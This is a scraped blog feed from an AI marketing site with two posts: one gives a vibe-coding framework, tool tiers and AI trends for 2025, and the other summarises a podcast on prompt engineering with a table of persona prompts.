Example of vibe coding a React app

Five-Step Framework for Successful Vibe Coding

To vibe code effectively and avoid losing your work or producing unusable apps, follow this mnemonic: Tiny Ferrets Carry Dangerous Code, which stands for:

Step Description
Thinking Plan carefully what you want to build, ideally with a Product Requirements Document (PRD).
Frameworks Choose the right tools and frameworks (React, Tailwind, Three.js) for your project.
Checkpoints Use version control (e.g., Git) to save your progress and avoid losing work.
Debugging Be patient fixing errors, guiding AI with error messages and screenshots.
Context Provide AI with as much context as possible, including mockups and examples.

Five-step vibe coding framework

Key Tips for Vibe Coding

  • Plan your product: Write a PRD to define your audience, features, and technology stack.
  • Ask AI for framework advice: If unsure, ask AI what tools to use for your project type.
  • Use version control: Always save your code regularly to avoid losing work.
  • Debug methodically: Copy error messages into AI and provide visual context for UI bugs.
  • Iterate feature by feature: Build your app step-by-step rather than all at once.

Tools for Vibe Coding

There is a wide range of tools depending on your coding experience:

Skill Level Tools Description
Beginner Lovable, Lead Zero, Bolt No coding background needed, very user-friendly.
Intermediate Replit, Firebase Studio Shows code base, allows some coding and no-code switching.
Advanced Windsurf, Cursor IDE-based coding with AI assistance, local machine setup.
Expert Cloud Code (command line tools) Full control in terminal, requires strong coding skills.

Tools spectrum for vibe coding

🔮 The Future of AI: What to Expect in 2025 and Beyond

The AI world moves incredibly fast. Instead of years or months, progress is measured in weeks. Dario Amodei, CEO of Anthropic, likens it to being strapped to a rocket where time and space warp, speeding everything up.

Trying to keep up with every new model, tool, or update can be overwhelming. Instead, focus on the underlying trends shaping the future of AI.

Three Major Trends in AI for 2025

Trend Description Impact
Integration into Workflows AI is being built into existing tools and products to improve user experience and reduce costs. More efficient processes and smarter products.
AI-Assisted Coding (Vibe Coding) Lower barrier to building software, with tools for beginners to experts. Faster development and innovation.
Growth of AI Agents More personalised, 24/7 AI agents reducing costs and improving service. New business models and startups based on AI agents.

For example, Google integrates AI deeply into their products, improving workflows and productivity. Developers who learn command line AI tools like Cloud Code will gain a big advantage. AI agents will continue to grow, with many SaaS companies expected to have AI agent counterparts.

Future AI trends overview

❓ Frequently Asked Questions (FAQ)

What is generative AI?

Generative AI is a type of AI that creates new content, such as text, images, audio, or video, instead of just analysing existing data.

Why is prompting so important?

Prompting is how you communicate with AI. Good prompts get better results, making prompting the most valuable skill when using AI tools.

What are AI agents?

AI agents are software programs that perform tasks or achieve goals for users, like customer service or coding assistants.

What is vibe coding?

Vibe coding is building software by telling AI what to create, letting the AI write the code for you.

How can I start learning AI skills for 2025?

Begin by understanding AI basics, practising prompt engineering, exploring AI agents, and trying out vibe coding tools. Building a strong foundation will prepare you for rapid changes ahead.

🚀 Conclusion

AI is transforming quickly, and 2025 will be a pivotal year for mastering essential AI skills. From understanding the basics of AI and generative models, to crafting effective prompts, building AI agents, and embracing vibe coding, these skills will empower you to harness AI’s full potential.

Remember, the key is not just knowing about AI but applying it well. Practice prompting regularly, explore building agents, and experiment with vibe coding tools. Keep your focus on fundamental principles and the big trends rather than every new update.

With dedication, you can be part of the 1% who truly understand and use AI effectively by 2025. Good luck on your AI journey!

]]> Mastering Foundational AI Skills for Business https://aimktg.co.uk/news/hello-world/ Thu, 14 Nov 2024 22:42:05 +0000 https://aimktg.co.uk/?p=1 Mastering Foundational AI Skills for Business: Key Insights from Nicole Leffer

Artificial intelligence (AI) is revolutionising the way businesses operate, and understanding how to effectively communicate with AI tools is now a critical skill. In the podcast episode “Building Foundational AI Skills for Business”, host Michael Stelzner interviews Nicole Leffer, a leading AI expert, to uncover actionable strategies for improving generative AI outcomes. This blog post summarises the key takeaways, includes a helpful table on persona prompting, and provides a direct link to the full episode for deeper learning.

Why This Podcast Matters

As businesses integrate AI into their workflows, many struggle with generating effective outputs. Common issues include vague responses, lack of context, and inconsistent results. Nicole Leffer breaks down how mastering foundational skills like prompt engineering, persona prompting, and iterative refinement can drastically improve AI-generated content. Whether you’re writing marketing copy, summarising data, or creating customer responses, this episode offers practical advice for getting the most out of AI.

⏰Timestamps to Key Sections

To dive into specific parts of the episode, here are the key timestamps from the conversation:

  • 00:00 Intro
  • 00:46 About Nicole Leffer
  • 10:49 How to Communicate With AI: Clarity, Context, and Prompt Structure
  • 24:25 Understand AI Tool Inputs
  • 36:05 Understand AI Tool Outputs
  • 42:07 Experiment With Advanced AI Tool Capabilities

Key Takeaways from the Podcast

  1. Prompt Engineering Matters: Detailed and context-rich prompts guide AI to generate precise, relevant outputs. Nicole highlights how poorly crafted prompts lead to generic or unhelpful responses.
  2. Iterative Refinement: AI outputs improve with testing and tweaking. Treat this process like providing feedback to a junior team member for better results over time.
  3. Persona Prompting: Assigning roles (e.g., “Act as a customer support agent”) ensures tone and style match the target audience, making the content more relatable.
  4. Experimentation: Explore advanced capabilities of AI tools, such as structured outputs (e.g., tables) or fine-tuning responses for company-specific needs.

Good vs Bad Persona Prompting: A Helpful Table

Here’s a breakdown of how to use persona prompting effectively, with examples of both “Act as” and “You are a” phrasing for clarity:

Scenario Bad Persona Prompt Good Persona Prompt (Act as) Good Persona Prompt (You are a)
Explaining a Concept “Explain artificial intelligence.” “Act as a friendly science teacher explaining artificial intelligence to a 10-year-old child. Use simple language and relatable analogies.” “You are a science teacher. Explain artificial intelligence to a 10-year-old child, using simple language and fun examples like toys or games.”
Customer Support “Respond to this complaint about a delayed order.” “Act as a professional and empathetic customer service agent. Apologise sincerely and offer a solution for a delayed order.” “You are a customer service agent. Write an empathetic response to a customer’s complaint about a delayed order, including a clear resolution.”
Product Marketing “Write a product description for a smartphone.” “Act as a tech influencer reviewing a new smartphone. Highlight innovative features in an engaging tone that excites the audience.” “You are a tech influencer. Write an enthusiastic review of a new smartphone, emphasising cutting-edge features and how it stands out.”
Social Media Engagement “Write a tweet about our sale.” “Act as a trendy fashion blogger. Write a tweet announcing our 30% off sale, using hashtags and emojis to engage younger audiences.” “You are a fashion blogger. Compose an engaging tweet announcing a 30% off sale, using hashtags and a youthful, vibrant tone.”

Podcast Takeaways in Action

Nicole’s insights are immediately actionable. For example:

  • If you’re managing social media, you can ask AI to act as a trendy influencer, ensuring your tone appeals to younger audiences.
  • For business reporting, you can instruct AI to act as a data analyst, summarising insights clearly and professionally.

Listen to the Full Podcast

Ready to dive deeper? Play the full episode below for comprehensive insights:

Conclusion

By mastering the foundational skills discussed in this podcast, you can significantly enhance your AI proficiency and create more effective, engaging content for your business. Whether it’s improving prompt structure, refining outputs, or experimenting with advanced features, these insights provide a roadmap to AI success. If you’re ready to revolutionise your workflow, start experimenting with these tips today—and don’t forget to listen to the full episode for more in-depth strategies.

]]>